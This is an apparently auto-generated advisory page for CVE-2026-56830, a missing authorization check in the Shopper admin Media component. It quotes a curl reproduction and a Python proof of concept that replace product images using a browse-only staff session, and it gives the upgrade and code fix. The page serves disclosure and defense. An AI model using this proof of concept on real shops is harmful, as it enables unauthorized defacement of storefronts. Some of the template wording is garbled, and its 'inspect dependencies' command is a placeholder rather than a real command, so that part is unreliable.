CVE-2026-56830: Shopper Media Sub-form Store() Still Lacks Vulnerability

MODERATE
Advisory Identifier: GHSA-99h5-jhh7-v3r3
CVSS 6.5
CWE-862
Published
Advisory Summary

CVE-2026-56830 is a MODERATE (CVSS 6.5) media sub-form store() still lacks vulnerability (CWE-862: Missing Authorization) affecting Shopper libraries in the Packagist ecosystem. The issue involves media sub-form store() still lacks authorization (incomplete fix for ghsa-h4mp-g9c6-xwph). Remediation is available by upgrading affected packages to version 2.9.2.

CVE-2026-56830 at a Glance

CVE Identifier CVE-2026-56830
GHSA Identifier GHSA-99h5-jhh7-v3r3
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-862: Missing Authorization
Affected Product Shopper
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-56830

To remediate this vulnerability, upgrade all affected Shopper dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

shopper/framework fixed: 2.9.2
Upgrade shopper/framework to 2.9.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for shopper/framework

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-56830, inspect your project dependencies for Shopper:

inspect dependencies for shopper/framework

Analyze the terminal output to locate any version of Shopper in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.9.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Shopper, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Title Missing authorization on Media sub-form store action allows unpermissioned product media update ## Description A lack of authorization control on the `store()` method was found in `packages/admin/src/Livewire/Components/Products/Form/Media.php`. The security fix released for GHSA-h4mp-g9c6-xwph added `#[Locked]` to the `$product` property in this file but did not add an `authorize()` call to `store()`. The commit message for that fix (fcd0c59) explicitly names the five repaired sub-form components: Edit, Inventory, Seo, Shipping, Files. Media is absent from that list and absent from the published advisory. As a result, any authenticated admin-panel session, including a staff user holding only `browse_products`, can invoke `store()` on this component to replace the thumbnail and gallery images for any product without holding `edit_products`. Because `$product` is now `#[Locked]`, the attacker cannot redirect the write to an arbitrary product from the client side, but the permission gate is still absent, so the write succeeds against whichever product the component was initialized for. ## Severity CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Score: 6.5 (Medium) ## Affected files - `packages/admin/src/Livewire/Components/Products/Form/Media.php:64-76` ```php // Lines 64-76 - store() with no authorize() call public function store(): void { $this->validate(); $this->product->update($this->form->getState()); // overwrites thumbnail + gallery media $this->dispatch('product.updated'); Notification::make() ->body(__('shopper::pages/products.notifications.media_update')) ->success() ->send(); } ``` The five sibling components that were fixed in commit fcd0c59 each now have: ```php public function store(): void { $this->authorize('edit_products'); // present in Edit, Inventory, Seo, Shipping, Files // ... } ``` `Media.store()` does not. ## Steps to reproduce Prerequisites: an admin-panel account whose role holds `browse_products` but NOT `edit_products`. ```bash SESSION="laravel_session=<your_session_value>" XSRF="<url-decoded-XSRF-TOKEN-cookie-value>" # Step 1: Load a product edit page as an admin to obtain the Media component's # Livewire snapshot ID and the product's public ID. # The component snapshot appears in the HTML source as data-livewire-snapshot. # Step 2: As the low-privilege browse-only session, call store() on the Media component, # pointing at the captured component state. curl -s -X POST http://localhost/shopper/livewire/update \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: $XSRF" \ -H "Cookie: $SESSION" \ -H "X-Livewire: 1" \ -d '{ "components": [{ "snapshot": "<snapshot JSON from page source with product locked>", "updates": {}, "calls": [{"path":"","method":"store","params":[]}] }] }' # Expected: HTTP 200, product thumbnail and images updated without edit_products. ``` ## Proof of concept ```python #!/usr/bin/env python3 """ Media component authorization bypass PoC. Set these environment variables before running: BASE_URL e.g. http://localhost SESSION_COOKIE laravel_session cookie value (browse-only staff session) XSRF_TOKEN URL-decoded XSRF-TOKEN cookie value SNAPSHOT_JSON the full Livewire snapshot JSON string for the Media component (copy from data-livewire-snapshot in the product edit page source) The snapshot already contains the locked product ID, so no ID substitution is needed. The bypass is purely the missing authorize() on store(). """ import json import os import requests base_url = os.environ['BASE_URL'] session = os.environ['SESSION_COOKIE'] xsrf = os.environ['XSRF_TOKEN'] snapshot = os.environ['SNAPSHOT_JSON'] headers = { 'Content-Type': 'application/json', 'Accept': 'text/html, application/xhtml+xml', 'X-XSRF-TOKEN': xsrf, 'Cookie': f'laravel_session={session}', 'X-Livewire': '1', } payload = { 'components': [{ 'snapshot': snapshot, 'updates': {}, 'calls': [{'path': '', 'method': 'store', 'params': []}] }] } r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload) print(f'Status: {r.status_code}') print(r.text[:500]) ``` ## Impact A staff member with only `browse_products` can update the thumbnail and product image gallery for any product. On a storefront, this means replacing product images with adversarial content (defaced images, misleading product photos) without leaving an edit trail that an admin watching the product edit history would normally associate with a permission-holding editor. The impact is limited to the products whose edit pages the attacker has visited in their browser session (the product ID is locked server-side), but that covers every product the browse-only user has ever loaded. ## Suggested fix ```php // packages/admin/src/Livewire/Components/Products/Form/Media.php public function store(): void { $this->authorize('edit_products'); // add this line $this->validate(); $this->product->update($this->form->getState()); $this->dispatch('product.updated'); Notification::make() ->body(__('shopper::pages/products.notifications.media_update')) ->success() ->send(); } ``` ## Credits Reported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).

CVE-2026-56830 Affected Shopper Versions

1 component(s)
Fixed Versions:
2.9.2
Product / Package Ecosystem Affected Versions Fixed Version
shopper/framework
Packagist
< 2.9.2
2.9.2

References

Frequently Asked Questions

What is CVE-2026-56830?
CVE-2026-56830 is a security vulnerability in Shopper involving Media sub-form store() still lacks authorization (Incomplete fix for GHSA-h4mp-g9c6-xwph) under CWE-862: Missing Authorization.
Which Shopper versions are affected?
Affected versions include releases prior to 2.9.2 across affected packages: shopper/framework.
What version fixes CVE-2026-56830?
Upgrading to 2.9.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is shopper/framework affected?
Yes, shopper/framework is affected in releases prior to 2.9.2. Upgrade your dependency to 2.9.2 or later.
What is the CVSS score of CVE-2026-56830?
CVE-2026-56830 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-56830?
CVE-2026-56830 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Packagist dependencies for CVE-2026-56830?
Run the dependency tree command: 'inspect dependencies for shopper/framework'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-99h5-jhh7-v3r3",
  "modified" : "2026-09-11T21:30:14Z",
  "published" : "2026-09-11T21:30:14Z",
  "aliases" : [ "CVE-2026-56830" ],
  "summary" : "Shopper: Media sub-form store() still lacks authorization (Incomplete fix for GHSA-h4mp-g9c6-xwph)",
  "details" : "## Title\n\nMissing authorization on Media sub-form store action allows unpermissioned product media update\n\n## Description\n\nA lack of authorization control on the `store()` method was found in `packages/admin/src/Livewire/Components/Products/Form/Media.php`. The security fix released for GHSA-h4mp-g9c6-xwph added `#[Locked]` to the `$product` property in this file but did not add an `authorize()` call to `store()`. The commit message for that fix (fcd0c59) explicitly names the five repaired sub-form components: Edit, Inventory, Seo, Shipping, Files. Media is absent from that list and absent from the published advisory. As a result, any authenticated admin-panel session, including a staff user holding only `browse_products`, can invoke `store()` on this component to replace the thumbnail and gallery images for any product without holding `edit_products`. Because `$product` is now `#[Locked]`, the attacker cannot redirect the write to an arbitrary product from the client side, but the permission gate is still absent, so the write succeeds against whichever product the component was initialized for.\n\n## Severity\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N  Score: 6.5  (Medium)\n\n## Affected files\n\n- `packages/admin/src/Livewire/Components/Products/Form/Media.php:64-76`\n\n```php\n// Lines 64-76 - store() with no authorize() call\npublic function store(): void\n{\n    $this->validate();\n\n    $this->product->update($this->form->getState());  // overwrites thumbnail + gallery media\n\n    $this->dispatch('product.updated');\n\n    Notification::make()\n        ->body(__('shopper::pages/products.notifications.media_update'))\n        ->success()\n        ->send();\n}\n```\n\nThe five sibling components that were fixed in commit fcd0c59 each now have:\n\n```php\npublic function store(): void\n{\n    $this->authorize('edit_products');  // present in Edit, Inventory, Seo, Shipping, Files\n    // ...\n}\n```\n\n`Media.store()` does not.\n\n## Steps to reproduce\n\nPrerequisites: an admin-panel account whose role holds `browse_products` but NOT `edit_products`.\n\n```bash\nSESSION=\"laravel_session=<your_session_value>\"\nXSRF=\"<url-decoded-XSRF-TOKEN-cookie-value>\"\n\n# Step 1: Load a product edit page as an admin to obtain the Media component's\n#         Livewire snapshot ID and the product's public ID.\n#         The component snapshot appears in the HTML source as data-livewire-snapshot.\n\n# Step 2: As the low-privilege browse-only session, call store() on the Media component,\n#         pointing at the captured component state.\n\ncurl -s -X POST http://localhost/shopper/livewire/update \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-XSRF-TOKEN: $XSRF\" \\\n  -H \"Cookie: $SESSION\" \\\n  -H \"X-Livewire: 1\" \\\n  -d '{\n    \"components\": [{\n      \"snapshot\": \"<snapshot JSON from page source with product locked>\",\n      \"updates\": {},\n      \"calls\": [{\"path\":\"\",\"method\":\"store\",\"params\":[]}]\n    }]\n  }'\n# Expected: HTTP 200, product thumbnail and images updated without edit_products.\n```\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nMedia component authorization bypass PoC.\n\nSet these environment variables before running:\n  BASE_URL        e.g. http://localhost\n  SESSION_COOKIE  laravel_session cookie value (browse-only staff session)\n  XSRF_TOKEN      URL-decoded XSRF-TOKEN cookie value\n  SNAPSHOT_JSON   the full Livewire snapshot JSON string for the Media component\n                  (copy from data-livewire-snapshot in the product edit page source)\n\nThe snapshot already contains the locked product ID, so no ID substitution is needed.\nThe bypass is purely the missing authorize() on store().\n\"\"\"\n\nimport json\nimport os\nimport requests\n\nbase_url = os.environ['BASE_URL']\nsession  = os.environ['SESSION_COOKIE']\nxsrf     = os.environ['XSRF_TOKEN']\nsnapshot = os.environ['SNAPSHOT_JSON']\n\nheaders = {\n    'Content-Type': 'application/json',\n    'Accept': 'text/html, application/xhtml+xml',\n    'X-XSRF-TOKEN': xsrf,\n    'Cookie': f'laravel_session={session}',\n    'X-Livewire': '1',\n}\n\npayload = {\n    'components': [{\n        'snapshot': snapshot,\n        'updates': {},\n        'calls': [{'path': '', 'method': 'store', 'params': []}]\n    }]\n}\n\nr = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)\nprint(f'Status: {r.status_code}')\nprint(r.text[:500])\n```\n\n## Impact\n\nA staff member with only `browse_products` can update the thumbnail and product image gallery for any product. On a storefront, this means replacing product images with adversarial content (defaced images, misleading product photos) without leaving an edit trail that an admin watching the product edit history would normally associate with a permission-holding editor. The impact is limited to the products whose edit pages the attacker has visited in their browser session (the product ID is locked server-side), but that covers every product the browse-only user has ever loaded.\n\n## Suggested fix\n\n```php\n// packages/admin/src/Livewire/Components/Products/Form/Media.php\n\npublic function store(): void\n{\n    $this->authorize('edit_products');  // add this line\n\n    $this->validate();\n\n    $this->product->update($this->form->getState());\n\n    $this->dispatch('product.updated');\n\n    Notification::make()\n        ->body(__('shopper::pages/products.notifications.media_update'))\n        ->success()\n        ->send();\n}\n```\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "shopper/framework"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.9.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/shopperlabs/shopper/security/advisories/GHSA-99h5-jhh7-v3r3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/shopperlabs/shopper"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-11T21:30:14Z",
    "nvd_published_at" : null
  }
}